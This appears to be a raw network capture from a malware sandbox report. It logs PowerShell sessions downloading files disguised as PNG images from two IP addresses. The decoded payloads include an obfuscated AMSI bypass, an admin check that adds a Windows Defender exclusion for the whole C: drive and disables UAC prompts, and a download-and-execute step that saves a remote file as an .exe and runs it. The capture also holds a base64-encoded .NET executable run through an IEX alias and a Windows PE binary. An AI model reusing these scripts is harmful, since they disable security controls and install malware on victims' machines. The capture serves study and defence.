                                                              Host: 85.28.47.8
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:04.564572096 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Thu, 04 Jul 2024 08:06:31 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "d5f42d14e9cdda1:0"
                                                              Server: Microsoft-IIS/10.0
                                                              Date: Thu, 04 Jul 2024 09:16:03 GMT
                                                              Content-Length: 1133
                                                              Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 5b 72 65 66 5d 2e 41 73 73 65 6d 62 6c 79 2e 47 65 74 54 79 70 65 28 27 53 2a 79 21 73 2a 74 2a 65 2a 6d 21 2e 21 4d 21 61 24 6e 21 61 2a 67 21 65 2a 6d 2a 65 21 6e 21 74 24 2e 24 41 2a 75 2a 74 21 6f 21 6d 2a 61 2a 74 24 69 2a 6f 2a 6e 21 2e 21 41 21 6d 2a 73 2a 69 21 55 2a 74 24 69 2a 6c 21 73 2a 27 2e 72 65 70 6c 61 63 65 28 27 24 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 21 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 2a 27 2c 27 27 29 29 2e 47 65 74 46 69 65 6c 64 28 27 61 21 6d 3d 73 2d 69 2d 49 3d 6e 3d 69 2d 74 2d 46 3d 61 2d 69 21 6c 21 65 2d 64 3d 27 2e 72 65 70 6c 61 63 65 28 27 21 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 3d 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 2d 27 2c 27 27 29 2c 20 27 4e 6f 6e 50 75 62 6c 69 63 2c 53 74 61 74 69 63 27 29 2e 28 27 53 29 65 25 74 25 56 29 61 7d 6c 25 75 25 65 7d 27 2e 72 65 70 6c 61 63 65 28 27 7d 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 29 27 2c 27 27 29 2e 72 65 70 6c [TRUNCATED]
                                                              Data Ascii: ipconfig /flushdns[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)$id = [System.Security.Principal.WindowsIdentity]::GetCurrent()$p = New-Object System.Security.Principal.WindowsPrincipal($id)if ($p.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)){powershell Add-MpPreference -ExclusionPath "c:\"Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Forcestart-sleep -s 6$url = "http://85.28.47.8/x/MIN.png"$output = "$env:APPDATA\LB311.exe"$start_time = Get-Date$wc = New-Object System.Net.WebClient$wc.DownloadFile($url, $output)Start-Process $output
                                                              Jul 4, 2024 11:16:04.564908981 CEST123INData Raw: 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 68 74 74 70 73 3a 2f 2f 32 6e 6f 2e 63 6f 2f 58 67 7a 56 64 2e 67 69 66 0d 0a 0d 0a 53 65 74 2d 43 6c 69 70 62 6f 61 72 64 20 2d 56 61 6c 75 65 20 22 20 20 20 22 3b 0d 0a
                                                              Data Ascii: Invoke-WebRequest -Uri https://2no.co/XgzVd.gifSet-Clipboard -Value " ";exit;} else{ exit;}


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              2192.168.2.64971485.28.47.8804208C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:04.009725094 CEST65OUTGET /S.png HTTP/1.1
                                                              Host: 85.28.47.8
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:04.665040016 CEST271INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Thu, 04 Jul 2024 08:12:08 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "3f4f82dde9cdda1:0"
                                                              Server: Microsoft-IIS/10.0
                                                              Date: Thu, 04 Jul 2024 09:16:03 GMT
                                                              Content-Length: 47
                                                              Data Raw: 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 68 74 74 70 73 3a 2f 2f 32 6e 6f 2e 63 6f 2f 58 67 57 33 66 2e 67 69 66
                                                              Data Ascii: Invoke-WebRequest -Uri https://2no.co/XgW3f.gif


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              3192.168.2.649716176.113.115.177805492C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:04.771975040 CEST72OUTGET /0x1.png HTTP/1.1
                                                              Host: 176.113.115.177
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:05.486623049 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Wed, 03 Jul 2024 07:31:33 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "1b63a071bcdda1:0"
                                                              Server: Microsoft-IIS/8.5
                                                              Date: Thu, 04 Jul 2024 16:16:05 GMT
                                                              Content-Length: 97286
                                                              Data Raw: ff fe 0d 00 0a 00 27 00 54 00 69 00 6b 00 54 00 6f 00 6b 00 2c 00 20 00 61 00 73 00 20 00 77 00 65 00 6c 00 6c 00 20 00 61 00 73 00 20 00 6f 00 74 00 68 00 65 00 72 00 20 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 73 00 2c 00 20 00 69 00 73 00 20 00 61 00 63 00 74 00 69 00 76 00 65 00 6c 00 79 00 20 00 66 00 69 00 67 00 68 00 74 00 69 00 6e 00 67 00 20 00 70 00 6c 00 61 00 67 00 69 00 61 00 72 00 69 00 73 00 6d 00 2c 00 20 00 69 00 6d 00 70 00 72 00 6f 00 76 00 69 00 6e 00 67 00 20 00 69 00 74 00 73 00 20 00 61 00 6c 00 67 00 6f 00 72 00 69 00 74 00 68 00 6d 00 73 00 20 00 61 00 6e 00 64 00 20 00 74 00 72 00 61 00 69 00 6e 00 69 00 6e 00 67 00 20 00 41 00 49 00 20 00 74 00 6f 00 20 00 70 00 72 00 65 00 76 00 65 00 6e 00 74 00 20 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 72 00 65 00 2d 00 70 00 6f 00 73 00 74 00 69 00 6e 00 67 00 2c 00 20 00 62 00 6f 00 74 00 68 00 20 00 66 00 72 00 6f 00 6d 00 20 00 6f 00 74 00 68 00 65 00 72 00 20 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 [TRUNCATED]
                                                              Data Ascii: 'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and
                                                              Jul 4, 2024 11:16:05.486641884 CEST1236INData Raw: 00 20 00 79 00 6f 00 75 00 72 00 20 00 63 00 68 00 61 00 6e 00 63 00 65 00 73 00 20 00 6f 00 66 00 20 00 67 00 65 00 74 00 74 00 69 00 6e 00 67 00 20 00 72 00 65 00 63 00 6f 00 6d 00 6d 00 65 00 6e 00 64 00 65 00 64 00 20 00 67 00 6f 00 20 00 64
                                                              Data Ascii: your chances of getting recommended go down to zero.'Let's look at the most popular question:' I reupload videos
                                                              Jul 4, 2024 11:16:05.486654997 CEST1236INData Raw: 00 72 00 69 00 74 00 68 00 6d 00 73 00 20 00 61 00 6e 00 64 00 20 00 74 00 72 00 61 00 69 00 6e 00 69 00 6e 00 67 00 20 00 41 00 49 00 20 00 74 00 6f 00 20 00 70 00 72 00 65 00 76 00 65 00 6e 00 74 00 20 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74
                                                              Data Ascii: rithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.'First of all,
                                                              Jul 4, 2024 11:16:05.486671925 CEST672INData Raw: 00 6e 00 20 00 66 00 69 00 6c 00 6d 00 6d 00 61 00 6b 00 69 00 6e 00 67 00 20 00 61 00 6e 00 64 00 20 00 6d 00 6f 00 73 00 74 00 20 00 70 00 6f 00 70 00 75 00 6c 00 61 00 72 00 20 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 73 00 20 00 2d
                                                              Data Ascii: n filmmaking and most popular platforms - it's watermarks.'TikTok, as well as other platforms, is actively fighting p
                                                              Jul 4, 2024 11:16:05.486684084 CEST1236INData Raw: 00 20 00 28 00 41 00 49 00 29 00 20 00 74 00 68 00 61 00 74 00 20 00 69 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 65 00 73 00 20 00 6f 00 62 00 6a 00 65 00 63 00 74 00 73 00 20 00 69 00 6e 00 20 00 74 00 68 00 65 00 20 00 76 00 69 00 64 00 65
                                                              Data Ascii: (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parame
                                                              Jul 4, 2024 11:16:05.486694098 CEST224INData Raw: 00 20 00 63 00 61 00 73 00 65 00 20 00 54 00 69 00 6b 00 54 00 6f 00 6b 00 20 00 77 00 6f 00 75 00 6c 00 64 00 20 00 62 00 65 00 20 00 6f 00 76 00 65 00 72 00 66 00 6c 00 6f 00 77 00 69 00 6e 00 67 00 20 00 77 00 69 00 74 00 68 00 20 00 64 00 75
                                                              Data Ascii: case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple
                                                              Jul 4, 2024 11:16:05.618087053 CEST1236INData Raw: 00 79 00 65 00 61 00 72 00 73 00 20 00 61 00 67 00 6f 00 20 00 69 00 74 00 20 00 77 00 61 00 73 00 20 00 6c 00 69 00 6b 00 65 00 20 00 74 00 68 00 61 00 74 00 2e 00 0d 00 0a 00 27 00 54 00 69 00 6b 00 54 00 6f 00 6b 00 2c 00 20 00 61 00 73 00 20
                                                              Data Ascii: years ago it was like that.'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorith
                                                              Jul 4, 2024 11:16:05.618185997 CEST224INData Raw: 00 69 00 73 00 20 00 74 00 6f 00 20 00 69 00 74 00 2e 00 20 00 54 00 68 00 65 00 72 00 65 00 20 00 69 00 73 00 20 00 61 00 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 6f 00 66 00 20 00 64 00 75 00 70 00 6c
                                                              Data Ascii: is to it. There is another method of duplicate detection that few people know about. This method has long been u
                                                              Jul 4, 2024 11:16:05.618196964 CEST1236INData Raw: 00 73 00 65 00 64 00 20 00 69 00 6e 00 20 00 66 00 69 00 6c 00 6d 00 6d 00 61 00 6b 00 69 00 6e 00 67 00 20 00 61 00 6e 00 64 00 20 00 6d 00 6f 00 73 00 74 00 20 00 70 00 6f 00 70 00 75 00 6c 00 61 00 72 00 20 00 70 00 6c 00 61 00 74 00 66 00 6f
                                                              Data Ascii: sed in filmmaking and most popular platforms - it's watermarks.'Visible watermarks are the addition of a logo to a vide
                                                              Jul 4, 2024 11:16:05.618310928 CEST1236INData Raw: 00 6b 00 54 00 6f 00 6b 00 2c 00 20 00 69 00 74 00 20 00 69 00 73 00 20 00 69 00 6e 00 73 00 74 00 61 00 6e 00 74 00 6c 00 79 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 65 00 64 00 20 00 62 00 79 00 20 00 28 00 41 00 49 00 29 00 20 00 74
                                                              Data Ascii: kTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. Th
                                                              Jul 4, 2024 11:16:05.618324995 CEST1236INData Raw: 00 20 00 75 00 73 00 65 00 72 00 73 00 20 00 73 00 69 00 6d 00 70 00 6c 00 79 00 20 00 67 00 65 00 74 00 20 00 62 00 6f 00 72 00 65 00 64 00 2e 00 20 00 49 00 6e 00 20 00 73 00 75 00 63 00 68 00 20 00 61 00 20 00 63 00 61 00 73 00 65 00 20 00 54
                                                              Data Ascii: users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in vie


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              4192.168.2.649718176.113.115.177805492C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:10.376184940 CEST48OUTGET /x/5.png HTTP/1.1
                                                              Host: 176.113.115.177
                                                              Jul 4, 2024 11:16:11.072799921 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Wed, 03 Jul 2024 07:28:33 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "c0bc319c1acdda1:0"
                                                              Server: Microsoft-IIS/8.5
                                                              Date: Thu, 04 Jul 2024 16:16:10 GMT
                                                              Content-Length: 107684
                                                              Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 0d 0a 20 24 74 30 3d 27 53 53 44 49 45 58 27 2e 72 65 70 6c 61 63 65 28 27 53 53 44 27 2c 27 27 29 3b 73 61 6c 20 67 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 46 64 6d 62 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 41 4c 41 54 41 41 41 48 77 41 41 41 43 41 41 41 41 41 41 41 41 41 61 70 73 41 41 41 41 67 41 41 41 41 6f 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 [TRUNCATED]
                                                              Data Ascii: ipconfig /flushdns $t0='SSDIEX'.replace('SSD','');sal g $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAFdmbWYAAAAAAAAAAOAALiALATAAAHwAAACAAAAAAAAAapsAAAAgAAAAoAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABCbAABXAAAAAMAAAEQDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAADYQQAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAcHsAAAAgAAAAfAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAoAAAAAIAAAB+AAAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABEAwAAAMAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABMmwAAAAAAAEgAAAACAAUAREIAAMxYAAABAAAAAAAAAKhAAAAwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBAAuAQAAAAAAABcoOAAABiUmHxooOAAABiUmKAEAACuAAQAABBcoOAAABiUmHzcoOAAABiUmKAIAACuAAgAABBcoOAAABh9YKDgAAAYlJigDAAArJSaAAwAABBcoOAAABiUmIIMAAAAoOAAA
                                                              Jul 4, 2024 11:16:11.072819948 CEST1236INData Raw: 42 69 55 6d 4b 41 51 41 41 43 75 41 42 41 41 41 42 42 63 6f 4f 41 41 41 42 69 55 6d 49 4b 51 41 41 41 41 6f 4f 41 41 41 42 69 55 6d 4b 41 55 41 41 43 73 6c 4a 6f 41 46 41 41 41 45 46 79 67 34 41 41 41 47 4a 53 59 67 7a 77 41 41 41 43 67 34 41 41
                                                              Data Ascii: BiUmKAQAACuABAAABBcoOAAABiUmIKQAAAAoOAAABiUmKAUAACslJoAFAAAEFyg4AAAGJSYgzwAAACg4AAAGJSYoBgAAKyUmgAYAAAQXKDgAAAYlJiDoAAAAKDgAAAYlJigHAAArgAcAAAQXKDgAAAYlJiAFAQAAKDgAAAYlJigIAAArJSaACAAABBcoOAAABiUmICoBAAAoOAAABiUmKAkAACuACQAABCBNAQAAKDgAAAYlJiB
                                                              Jul 4, 2024 11:16:11.072834015 CEST1236INData Raw: 42 6e 6f 66 61 43 67 78 41 41 41 47 45 78 55 52 42 52 39 73 4b 44 45 41 41 41 5a 59 45 78 59 34 37 51 41 41 41 41 41 44 45 52 59 66 63 43 67 78 41 41 41 47 57 43 6a 44 41 41 41 47 4a 53 59 54 46 77 4d 52 46 68 39 30 4b 44 45 41 41 41 5a 59 4b 4d
                                                              Data Ascii: BnofaCgxAAAGExURBR9sKDEAAAZYExY47QAAAAADERYfcCgxAAAGWCjDAAAGJSYTFwMRFh90KDEAAAZYKMMAAAYlJhMYAxEWH3goMQAABlgowwAABiUmExkRGB98KDEAAAb+AxMaERo5fQAAABtFAQAAAPb///8AERgoGwEABiUmExsDERkRGyCAAAAAKDEAAAYRGyjaAAAGJSZpKAYBAAYAfggAAAQJewsAAAQRDBEXWBEbERs
                                                              Jul 4, 2024 11:16:11.072854996 CEST1236INData Raw: 44 67 41 41 41 41 41 41 41 41 42 2b 44 77 41 41 42 41 49 6f 47 41 41 41 43 69 55 6d 4b 67 41 41 41 7a 41 4a 41 41 34 41 41 41 41 41 41 41 41 41 66 67 38 41 41 41 51 43 4b 45 41 41 41 41 6f 6c 4a 69 6f 41 41 41 4d 77 43 51 41 4f 41 41 41 41 41 41
                                                              Data Ascii: DgAAAAAAAAB+DwAABAIoGAAACiUmKgAAAzAJAA4AAAAAAAAAfg8AAAQCKEAAAAolJioAAAMwCQAOAAAAAAAAAH4PAAAEAihBAAAKJSYqAAADMAkADAAAAAAAAAB+DwAABAIoQgAACioTMAYAvgAAAAQAABEWCn4PAAAEA5EggAAAAF8tFH4PAAAEA5EKAxdY/gsBADiFAAAAfg8AAAQDkR9AXy04GEUBAAAA9v///xctBtA1AAA
                                                              Jul 4, 2024 11:16:11.072865963 CEST896INData Raw: 44 31 67 4c 42 67 63 6f 30 51 41 41 42 69 55 6d 48 32 34 75 46 78 6c 46 41 51 41 41 41 50 62 2f 2f 2f 38 47 42 79 6a 52 41 41 41 47 4a 53 59 66 54 6a 4d 4a 66 70 34 41 41 41 51 54 42 64 34 79 42 67 63 66 45 43 68 76 41 41 41 47 44 41 67 67 41 77
                                                              Data Ascii: D1gLBgco0QAABiUmH24uFxlFAQAAAPb///8GByjRAAAGJSYfTjMJfp4AAAQTBd4yBgcfEChvAAAGDAggAwIAACgpAQAGDQkokgAABiUmEwQRBCi2AAAGEQQTBd4FJt4AFCoRBSoBEAAAAAAAALCwAAMcAAABGzADACEAAAAIAAARfh0AAAQlCyhnAAAGH2FqAig/AAAGCt4HByjyAAAG3AYqAAAAARAAAAIADAAMGAAHAAAAABs
                                                              Jul 4, 2024 11:16:11.191462040 CEST1236INData Raw: 45 51 38 6f 59 77 41 41 42 68 45 4f 45 51 74 59 45 77 34 52 44 68 45 4c 57 47 6f 47 4b 4d 30 41 41 41 59 79 76 78 78 46 41 51 41 41 41 50 62 2f 2f 2f 38 47 45 51 30 57 42 69 6a 4e 41 41 41 47 45 51 35 71 57 57 6b 6f 64 77 41 41 42 69 55 6d 4a 68
                                                              Data Ascii: EQ8oYwAABhEOEQtYEw4RDhELWGoGKM0AAAYyvxxFAQAAAPb///8GEQ0WBijNAAAGEQ5qWWkodwAABiUmJhEKEQ0WBijNAAAGJSYRDmpZaSj2AAAGJSYTEH4gAAAEERAWERAo2gAABmkoYwAABn4gAAAECwcWaiggAQAGfiAAAAQMEQQeXzm4AAAAGkUBAAAA9v///34hAAAELTx+HwAABCAAAACAMyEaRQEAAAD2////fiEAAAQ
                                                              Jul 4, 2024 11:16:11.191492081 CEST1236INData Raw: 41 41 41 4b 45 51 59 5a 4d 51 77 52 43 6e 35 63 41 41 41 4b 62 31 6b 41 41 41 6f 52 42 68 6f 78 4d 78 6c 46 41 51 41 41 41 50 62 2f 2f 2f 38 61 45 77 73 72 46 42 45 4b 66 6c 30 41 41 41 6f 52 43 32 39 65 41 41 41 4b 45 51 73 58 57 42 4d 4c 45 51
                                                              Data Ascii: AAAKEQYZMQwRCn5cAAAKb1kAAAoRBhoxMxlFAQAAAPb///8aEwsrFBEKfl0AAAoRC29eAAAKEQsXWBMLEQsRBjLmF0UBAAAA9v///xEKCW9fAAAKJSYtERhFAQAAAPb///9+YAAACisFfmEAAAoHb2IAAAoRCn5jAAAKb1kAAAoRCQZvZAAACiUmEwQJFBEEb2UAAAreAybeABERF1gTERERERAoJQEABiUmaT9F/v//KkE0AAA
                                                              Jul 4, 2024 11:16:11.191503048 CEST1236INData Raw: 2f 78 63 74 42 74 42 48 41 41 41 47 4a 69 67 52 41 41 41 4b 4a 53 5a 76 52 67 41 41 43 69 55 6d 46 70 70 76 52 77 41 41 43 6f 42 6e 41 41 41 45 4b 67 41 41 41 7a 41 4a 41 41 63 41 41 41 41 41 41 41 41 41 41 69 67 6c 41 41 41 4b 4b 67 41 62 4d 41
                                                              Data Ascii: /xctBtBHAAAGJigRAAAKJSZvRgAACiUmFppvRwAACoBnAAAEKgAAAzAJAAcAAAAAAAAAAiglAAAKKgAbMAcA+QEAAAwAABF+ZwAABBMMEgwCKEgAAAolJigVAAAKJSYKBCD///8AMywYRQEAAAD2////Fy0G0EkAAAYmfmcAAAQTDRINAyhJAAAKJSYoSgAACgwrKH5nAAAEEw4SDgMoSQAACn5nAAAEEw8SDwQoSAAACiUmKEs
                                                              Jul 4, 2024 11:16:11.191626072 CEST672INData Raw: 41 41 41 4b 49 50 2f 2f 2f 77 41 6f 51 77 41 41 42 69 6f 41 41 44 4a 2b 63 41 41 41 42 41 49 6f 61 67 41 41 42 69 6f 41 41 41 42 57 49 43 41 41 41 41 49 67 43 41 41 41 43 69 44 2f 2f 2f 38 41 4b 45 4d 41 41 41 59 71 41 41 41 36 66 6e 45 41 41 41
                                                              Data Ascii: AAAKIP///wAoQwAABioAADJ+cAAABAIoagAABioAAABWICAAAAIgCAAACiD///8AKEMAAAYqAAA6fnEAAAQCAwQobgAABioAViAhAAACIAkAAAog////AChDAAAGKgAAMn5yAAAEAihyAAAGKgAAAFYgIgAAAiAKAAAKIP///wAoQwAABioAAD5+cwAABAIDBAUodgAABipWICMAAAIgEAAABiD///8AKEMAAAYqAAA6fnQAAAQ
                                                              Jul 4, 2024 11:16:11.191638947 CEST1236INData Raw: 2f 2f 2f 2f 41 43 68 44 41 41 41 47 4b 67 41 41 4d 6e 35 38 41 41 41 45 41 69 69 64 41 41 41 47 4b 67 41 41 41 46 59 67 4c 77 41 41 41 69 41 52 41 41 41 4b 49 50 2f 2f 2f 77 41 6f 51 77 41 41 42 69 6f 41 41 43 35 2b 66 51 41 41 42 43 69 68 41 41
                                                              Data Ascii: ////AChDAAAGKgAAMn58AAAEAiidAAAGKgAAAFYgLwAAAiARAAAKIP///wAoQwAABioAAC5+fQAABCihAAAGKlYgMAAAAiASAAAKIP///wAoQwAABioAADJ+fgAABAIopQAABioAAABWIDEAAAIgEwAACiD///8AKEMAAAYqAAAyfn8AAAQCKKkAAAYqAAAAViAyAAACIBQAAAog////AChDAAAGKgAANn6AAAAEAgMorQAABio
                                                              Jul 4, 2024 11:16:11.191651106 CEST1236INData Raw: 41 41 41 43 49 42 77 41 41 41 59 67 2f 2f 2f 2f 41 43 68 44 41 41 41 47 4b 67 41 41 4e 6e 36 53 41 41 41 45 41 67 4d 6f 2b 51 41 41 42 69 6f 41 41 46 59 67 53 51 41 41 41 69 41 73 41 41 41 47 49 50 2f 2f 2f 77 41 6f 51 77 41 41 42 69 6f 41 41 44
                                                              Data Ascii: AAACIBwAAAYg////AChDAAAGKgAANn6SAAAEAgMo+QAABioAAFYgSQAAAiAsAAAGIP///wAoQwAABioAADp+kwAABAIDBCj9AAAGKgBWIEoAAAIgIwAACiD///8AKEMAAAYqAAA2fpQAAAQCAygBAQAGKgAAViBLAAACICQAAAog////AChDAAAGKgAARn6VAAAEAgMEBQ4EKAUBAAYqAABWIEwAAAIgJQAACiD///8AKEYAAAY


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              5192.168.2.64972385.28.47.8806600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:13.912669897 CEST69OUTGET /x/MIN.png HTTP/1.1
                                                              Host: 85.28.47.8
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:14.535664082 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Fri, 15 Mar 2024 16:30:30 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "e0336718f676da1:0"
                                                              Server: Microsoft-IIS/10.0
                                                              Date: Thu, 04 Jul 2024 09:16:14 GMT
                                                              Content-Length: 7633920
                                                              Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 00 ae 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 ae 00 00 04 00 00 d8 97 74 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 10 ae 00 98 01 00 00 00 00 00 00 00 00 00 00 c8 51 ac 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 ac 00 28 00 00 00 00 00 [TRUNCATED]
                                                              Data Ascii: MZx@xhr!L!This program cannot be run in DOS mode.$PEd^ne"xT@ t`USf QhQ( SR@.rsrcfSR@.idata US@ 7US@pzdztcxp @ S@bppmbsabxt@.pdataIzt@@
                                                              Jul 4, 2024 11:16:14.535702944 CEST1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              Data Ascii:
                                                              Jul 4, 2024 11:16:14.535713911 CEST448INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              Data Ascii:
                                                              Jul 4, 2024 11:16:14.535727024 CEST1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              Data Ascii:
                                                              Jul 4, 2024 11:16:14.535787106 CEST1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              Data Ascii: VH p1MZuKHcQ<PE}>1:Q8tou'
